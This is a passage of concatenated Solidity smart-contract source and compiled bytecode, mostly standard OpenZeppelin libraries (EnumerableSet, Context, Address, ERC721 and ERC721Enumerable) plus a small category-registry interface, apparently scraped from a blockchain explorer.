block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; interface ICategories { event Added(bytes32 name); event Removed(bytes32 name); function contains(bytes32 value) external view returns (bool); function length() external view returns (uint256); function at(uint256 index) external view returns (bytes32); function values() external view returns (bytes32[] memory); function add(bytes32 value) external; function remove(bytes32 value) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146100f357806395bc26731461010e578063971217b714610121578063e0886f9014610136578063f2fde38b1461014957600080fd5b80631d1a696d146100985780631f7b6d32146100c0578063446bffba146100d6578063715018a6146100eb575b600080fd5b6100ab6100a6366004610651565b61015c565b60405190151581526020015b60405180910390f35b6100c861016f565b6040519081526020016100b7565b6100e96100e4366004610651565b610180565b005b6100e9610214565b6000546040516001600160a01b0390911681526020016100b7565b6100e961011c366004610651565b61027a565b610129610301565b6040516100b7919061066a565b6100c8610144366004610651565b61030d565b6100e96101573660046106ae565b61031a565b60006101696001836103e5565b92915050565b600061017b6001610400565b905090565b6101898161015c565b156101d15760405162461bcd60e51b815260206004820152601360248201527213985b5948191bd95cc81b9bdd08195e1a5cdd606a1b60448201526064015b60405180910390fd5b6101dc60018261040a565b506040518181527f5905d3149f3d6d5facb14b9bcc0ec05baaa887ba8fb9e400a8dcb5b12d17b818906020015b60405180910390a150565b6000546001600160a01b0316331461026e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101c8565b6102786000610416565b565b6102838161015c565b6102c55760405162461bcd60e51b81526020600482015260136024820152724e616d6520616c72656164792065786973747360681b60448201526064016101c8565b6102d0600182610466565b506040518181527fc258b116f380657d67061f79c25e784314e0e1ed9b52630fac916654db63499890602001610209565b606061017b6001610472565b600061016960018361047d565b6000546001600160a01b031633146103745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101c8565b6001600160a01b0381166103d95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101c8565b6103e281610416565b50565b600081815260018301602052604081205415155b9392505050565b6000610169825490565b60006103f98383610489565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006103f983836104d8565b6060610169826105cb565b60006103f98383610627565b60008181526001830160205260408120546104d057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610169565b506000610169565b600081815260018301602052604081205480156105c15760006104fc6001836106d7565b8554909150600090610510906001906106d7565b9050818114610575576000866000018281548110610530576105306106fc565b9060005260206000200154905080876000018481548110610553576105536106fc565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061058657610586610712565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610169565b6000915050610169565b60608160000180548060200260200160405190810160405280929190818152602001828054801561061b57602002820191906000526020600020905b815481526020019060010190808311610607575b50505050509050919050565b600082600001828154811061063e5761063e6106fc565b9060005260206000200154905092915050565b60006020828403121561066357600080fd5b5035919050565b6020808252825182820181905260009190848201906040850190845b818110156106a257835183529284019291840191600101610686565b50909695505050505050565b6000602082840312156106c057600080fd5b81356001600160a01b03811681146103f957600080fd5b6000828210156106f757634e487b7160e01b600052601160045260246000fd5b500390565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fdfea264697066735822122023ef6fa44ff8f6b46e6dcc78c5ad0f062b065dd84b9fb5a1763781158b2f747d64736f6c634300080c0033
[ 5 ]
0xf26aa55eb11e73b0b3ad2fcb629e3d2b91cd9220
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // agent.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the 